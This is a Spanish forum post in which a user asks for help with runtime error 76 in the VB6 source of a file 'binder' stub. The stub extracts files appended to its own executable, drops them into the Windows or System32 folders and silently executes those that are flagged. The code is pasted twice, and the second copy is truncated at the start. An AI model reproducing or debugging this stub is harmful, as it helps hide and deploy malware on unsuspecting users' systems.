Tengo un problemilla cuando junto los dos archivos y los ejecuto me da error.
Error 76 en tiempo de ejecucion no se ha encontrado la ruta de acceso.
Aqui os pongo el code del stub.
Citar
Private Declare Function ShellExecute Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Dim con1 As String
Dim con2 As String, curts As Integer
Dim dast As String, dasa() As String, dasa2() As String, sinqi As String
Dim cile As String, nom As String, excile As String, ejcile As String
Private Sub Form_Load()
curts = FreeFile
con1 = "kfhbiubfevgwubog,lnl,myp"
con2 = "eogirnignrnhkrnhleknñenhn"
sinqi = App.Path & "\" & App.EXEName & ".exe"
Open sinqi For Binary As curts
dast = Space(LOF(curts))
Get curts, , dast
Close curts
dasa() = Split(dast, con1)
For i = 1 To UBound(dasa)
dasa2() = Split(dasa(i), con2)
For x = 0 To UBound(dasa2)
Select Case x
Case 0 'archivo
cile = dasa2(x)
Case 1 'nombre del archivo
nom = dasa2(x)
Case 2 'ruta extraccion
Select Case dasa2(x)
Case "Windows"
excile = Environ("WINDIR")
Case "System32"
excile = Environ("WINDIR") & "\system32"
Case "Disco Local"
excile = Environ("WINDIR")
Case Else
excile = dasa2(x)
End Select
Case 3 ' si se ejecuta o no
ejcile = dasa2(x)
End Select
Next x
Open excile & "\" & nom For Binary As curts
Put curts, , cile
Close curts
If ejcile = "Si" Then
ShellExecute 0, vbNullString, excile & "\" & nom, vbNullString, vbNullString, 1
Else
End If
Next i
End
End Sub
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Dim con1 As String
Dim con2 As String, curts As Integer
Dim dast As String, dasa() As String, dasa2() As String, sinqi As String
Dim cile As String, nom As String, excile As String, ejcile As String
Private Sub Form_Load()
curts = FreeFile
con1 = "kfhbiubfevgwubog,lnl,myp"
con2 = "eogirnignrnhkrnhleknñenhn"
sinqi = App.Path & "\" & App.EXEName & ".exe"
Open sinqi For Binary As curts
dast = Space(LOF(curts))
Get curts, , dast
Close curts
dasa() = Split(dast, con1)
For i = 1 To UBound(dasa)
dasa2() = Split(dasa(i), con2)
For x = 0 To UBound(dasa2)
Select Case x
Case 0 'archivo
cile = dasa2(x)
Case 1 'nombre del archivo
nom = dasa2(x)
Case 2 'ruta extraccion
Select Case dasa2(x)
Case "Windows"
excile = Environ("WINDIR")
Case "System32"
excile = Environ("WINDIR") & "\system32"
Case "Disco Local"
excile = Environ("WINDIR")
Case Else
excile = dasa2(x)
End Select
Case 3 ' si se ejecuta o no
ejcile = dasa2(x)
End Select
Next x
Open excile & "\" & nom For Binary As curts
Put curts, , cile
Close curts
If ejcile = "Si" Then
ShellExecute 0, vbNullString, excile & "\" & nom, vbNullString, vbNullString, 1
Else
End If
Next i
End
End Sub